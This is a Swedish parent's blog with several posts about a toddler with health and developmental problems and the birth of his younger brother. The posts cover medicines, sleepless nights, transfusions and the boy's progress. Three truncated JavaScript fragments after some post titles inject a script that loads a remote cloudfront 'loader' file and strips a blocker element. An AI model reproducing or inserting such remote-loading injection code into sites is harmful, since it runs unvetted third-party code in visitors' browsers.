Jävla mage eller nåt….

Det känns som något är riktigt upp och ner med Noel. Efter att han somnat för natten alltså. Han gråter i sömnen, vrider och vänder på sig, vaknar till och stortjuter och skriker i upp till någon timme. Inget hjälper, spelar ingen roll vem som tröstar, han vrider på sig, kastar sig åt alla möjliga håll och kanter, ingen napp hjälper, inget vyssjande, ingen sång, inga kramar, inget gå-runt-ett-varv, absolut inget hjälper. Inte heller blir det bättre av att ge ett extra lavemang, om det nu är magen som krånglar. Jag skulle gissa på det, eller så är det en till tand på väg, jag ser en som kommit ut lite grann, men gör det fortfarande ont då? Att Noel får skitont varje gång en tand är på väg är inte så konstigt, likt andra barn med avvikelser så är hans tänder inte heller helt hundra, dom är lite sneda och vinda, sitter lite konstigt och är missfärgade redan nu, vi kommer behöva gå till specialisttandvården hela Noels liv, men det är ett annat kapitel…

Är sjukt trött på dessa skrikiga nätter. Leon sover hela nätterna till skillnad från Noel, som visserligen alltid sov bra förut. Vet inte vad det här beror på. Nu har vi slutat ge den nya magmedicinen igen. Vi gjorde uppehåll med Movicol, nu har han fått Omnilax utskrivet, men det är samma biverkning där, 1 av 10 får magont av den, finns ingen tvekan om att Noel är 1 av 10. Vi provar istället nu att ge resulax två gånger om dagen istället så får vi se om det funkar bättre, och om han får sova bättre på natten. Det är ju hemskt om det nu är medicinen som gör att han har ont och vaknar och skriker, eftersom han säkert blir förstoppad utan den och då får ont i magen i alla fall :( Jäkla moment 22!

Inatt har han sovit skitdåligt, och vi med. Jag satt med honom mellan 4-6 och Ted satt med honom från 2. Innan det ”räckte” det att ge nappen när han grät, annars fick vi försöka trösta på annat sätt. Han somnade om vid 6 imorse och sen gick han upp kvart i sju. Däremellan ammade jag Leon några gånger, jag har alltså sovit förjävligt inatt om jag ska vara ärlig!

Allvarligt, hur sjutton får vi bukt på den där magen..eller är det något annat som krånglar. Om han bara är ledsen/mammig/rädd/missnöjd så blir det ALLTID bättre om han får sitta hos mig och jag tröstar honom. Men vid dessa skriktillfällen efter att han somnat så är han verkligen otröstligt! Det är fruktansvärt frustrerande att varken Noel eller vi får sova ordentligt på nätterna, Noel är trött på dagen och vi också för den delen. Den minsta i familjen, som vi trodde skulle hålla oss vaken, han sover dock som stocken på natten och äter ”i sömnen”!

Hoppas att vi hittar problemet snarast och finner en lösning på det, annars kommer vi gå runt som zombies här hemma och ha tändstickor under ögonen..ser mig själv lägga nycklar i kylen och Leon i hoppgungan typ :/

Storebror

Nu har Noel varit storebror i 15 dagar. Dagar som verkligen passerat i ilfart. Jag var väldigt fundersam innan Leon kom hur Noel skulle reagera på att få en lillebror, skulle han förstå alls? Märka av att det tillkommit en familjemedlem? Skulle han bli ledsen, arg, avundsjuk?
Faktum är att allt har gått bra, han märker dock att det är en ny liten människa här hemma, men så länge han får sin beskärda del av uppmärksamheten så går det bra. Han är avundsjuk när jag ammar och inte får sitta i mitt knä, då blir han ledsen och börjar gråta om han inte bara tittar ledsen på mig med sina hundögon. Alltså går jag runt med en hel del skuldkänslor här hemma. Åt bägge hållen i och för sig. Men det känns enormt jobbigt att Noel blir så ledsen, då blir jag också ledsen! Annars fungerar det bra, han sitter ofta bredvid när jag ammar och leker med sina leksaker, och oftast så nöjer han sig så. Det händer ju dock att han blir jätteledsen och ser att jag har Leon och vet att han inte kan sitta i mitt knä, det är ju uppenbarligen en enorm skillnad på att bara sitta bredvid mamma än att sitta i mammas knä. Jag och Noel har enormt starka band till varandra, kanske mycket på grund av allt vi gått igenom, så det är inte bara Noel som ska vänja sig vid lillebror och delad uppmärksamhet, det är lika mycket känslor för mig, om inte mer. Jag ska också vänja mig vid att jag inte kan ha bägge samtidigt alla gånger, utan får dela min tid på två. Det svider lite i hjärtat ibland när jag måste ge Leon mat och Noel behöver mig samtidigt. Jag har alltså rätt stor ångest inför den kommande veckan när Ted går tillbaka till jobbet. Rent praktiskt så fungerar det ju rätt bra, bägge barnen är för det mesta nöjda och glada, men alla känslor är långt ifrån på plats.

Annars går det väldigt bra för Noel just nu. Han fortsätter att utvecklas. Han knatar på i sin gåstol, tar sats mot olika mål och drar ner allt som kommer i sin väg. Han sitter själv i längre stunder på golvet och leker med sina leksaker och han verkar förstå saker på ett helt annat sätt nu än för en tid sedan. Innebörden av Nej vet han mycket väl, även om Noel också trotsar. Om exakt en månad så blir Noel 2 år, och tvåårstrotset är något vi märker av, främst med maten men även sömnen ibland, han vägrar och skriker tills han kräks ibland, med sömnen kan vi vara konsekventa, men det tråkiga med Noel är ju att med maten kan vi inte bara säga att nähä då får du vara utan mat då, och sedan vänta tills han blir hungrig igen, vi måste ju ge mat i knappen i så fall, annars går han ner i vikt. Han blir ju dessutom glad ibland om han slipper äta. Den ena blir ledsen om han får mat och den andra om han inte får mat haha.

Rent hälsomässigt så mår Noel bra, det har blivit glesare nu mellan hans blodtransfusioner, sist gick det 7-8 veckor mellan transfusionerna, han fick blod sist dagen innan Leon kom så vi får se när nästa gång blir. Nästa vecka ska vi ta ny vikt, han hade gått upp jättefint förra gången, då vägde han strax över 7,2 kg. Vi försöker verkligen vara petiga med maten, antal kalorier etc, och förhoppningsvis så ger det resultat. Vore så skönt om han började gå upp och inte gick ner mellan varven, gör han det har han också möjlighet att växa bättre.
Igår var jag dessutom och hämtade ut ny medicin till Noel. Movicolet han får nu får han ju ont i magen av, och han vaknar och gråter flera gånger per natt. Inte jätteroligt då allas sömn blir förstörd. Den nya medicinen ska förhoppningsvis ha samma verkan som Movicol men inte ge magont. Vi får testa och hoppas på det bästa. Det vore skönt för oss alla om Noel fick sova ordentligt på nätterna, han har ju alltid sovit bra förut innan vi började med Movicol.

Annars händer inte så mycket nytt kring Noel, vi övar och tränar på en del saker här hemma, försöka främja att han ska lära sig krypa. Han leker och njuter av livet och så länge dagarna följer en hyfsad rutin så mår han bra och trivs med livet. Får han dessutom busa med mig och Ted hela dagarna så mår han toppen :) Igår tyckte jag och Ted att Noel sa mamma :) Det är stort, även om det inte var det han sa eller om det var en ren tillfällighet så känns det jättestort!

Ingen bebis men en glad snart tvååring

Än syns inte bebisen till, eller ja han är ju svår att missa om man ser på hur groteskt stor jag är just nu, men han vill inte dyka upp. Tyckte han kunde komma idag då det är BF, men likt sin bror kommer han väl stanna ett tag till i magen. Jag som trodde han skulle komma tidigare än beräknat, men oj så fel man kan ha.

Bortsett från evighetsväntan så är det full fart här hemma. Vi har en väldigt nyfiken och glad Noel som håller oss vid liv :) Herregud, när den ungen lär sig gå lär jag gå ner minst 10kg bara av att springa efter honom, klåfingrig som han är. Just nu springer han runt i gåstolen och drar ner allt som händer och armar räcker åt till, idag hade Ted glömt att glas på vardagsrumsbordet, det åkte snabbt i golvet. Tur att vi var snabba fram och hann lyfta ur honom innan han körde över glassplittret. Vi har ju inte riktigt ”vant” oss vid att ha ett barn som är lite överallt, men numer så tar Noel riktiga steg i gåstolen och mer eller mindre springer fram, så det gäller att ha ögon både i nacken, rumpan och tre, fyra stycken där fram 😉 Fast det är jättekul med den här utvecklingen, han vill så mycket, och är väldigt, väldigt nyfiken just nu. Allt som vi har/äter vill han ha och smaka på, nya saker är spännande och han verkar mer öppen för nya leksaker än vad han varit tidigare. Det går framåt med andra ord, även om det går långsamt!

Imorgon ska vi förhoppningsvis hinna med ett besök till sjukhuset och ta ett nytt HB, i början på förra veckan var hans HB på 96, och det känns som det börjar bli dags att tanka på lite blod igen. Det har gått runt 5 veckor sedan sist, och jag hoppas vi hinner få till en transfusion innan brorsan tänker komma ut, det hade känts skönast så, även om det såklart går att lösa med barnvakt på sjukhuset med, dock lite otur om det skulle sätta igång lagom tills vi ska upp med Noel, fast jag skulle inte bli förvånad!

Vi har inget speciellt planerat i veckan som kommer. Idag har vi ”passat på” med lite egen tid i form av fika på stan och fotbollsmatch, dock blir det väldigt lugnt i veckan. Vi har en sista inbokad kontroll på MVC på tisdag, men förhoppningsvis slipper vi gå dit!

5 dagar till BF

Vi gjorde ett försök till att få till några bilder innan bebis tittat ut…sammanfattningen av vårt försök är att nästa gång vi vill ha några riktigt fina bilder så anlitar vi ett proffs..dessutom så är det kanske ett plus att alla som ska vara med är på bra humör och lite samarbetsvilliga 😉 En och annan bild går kanske att göra något av iaf, å andra sidan så är det ett fint minne vilket som!

En sötnos och en tjockis…..

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Sitta själv och leka

Som planerat skulle vi ägna semestern delvis åt att öva med Noel på att sitta själv utan stöd…det går framåt vill jag säga!

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Världens gladaste

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>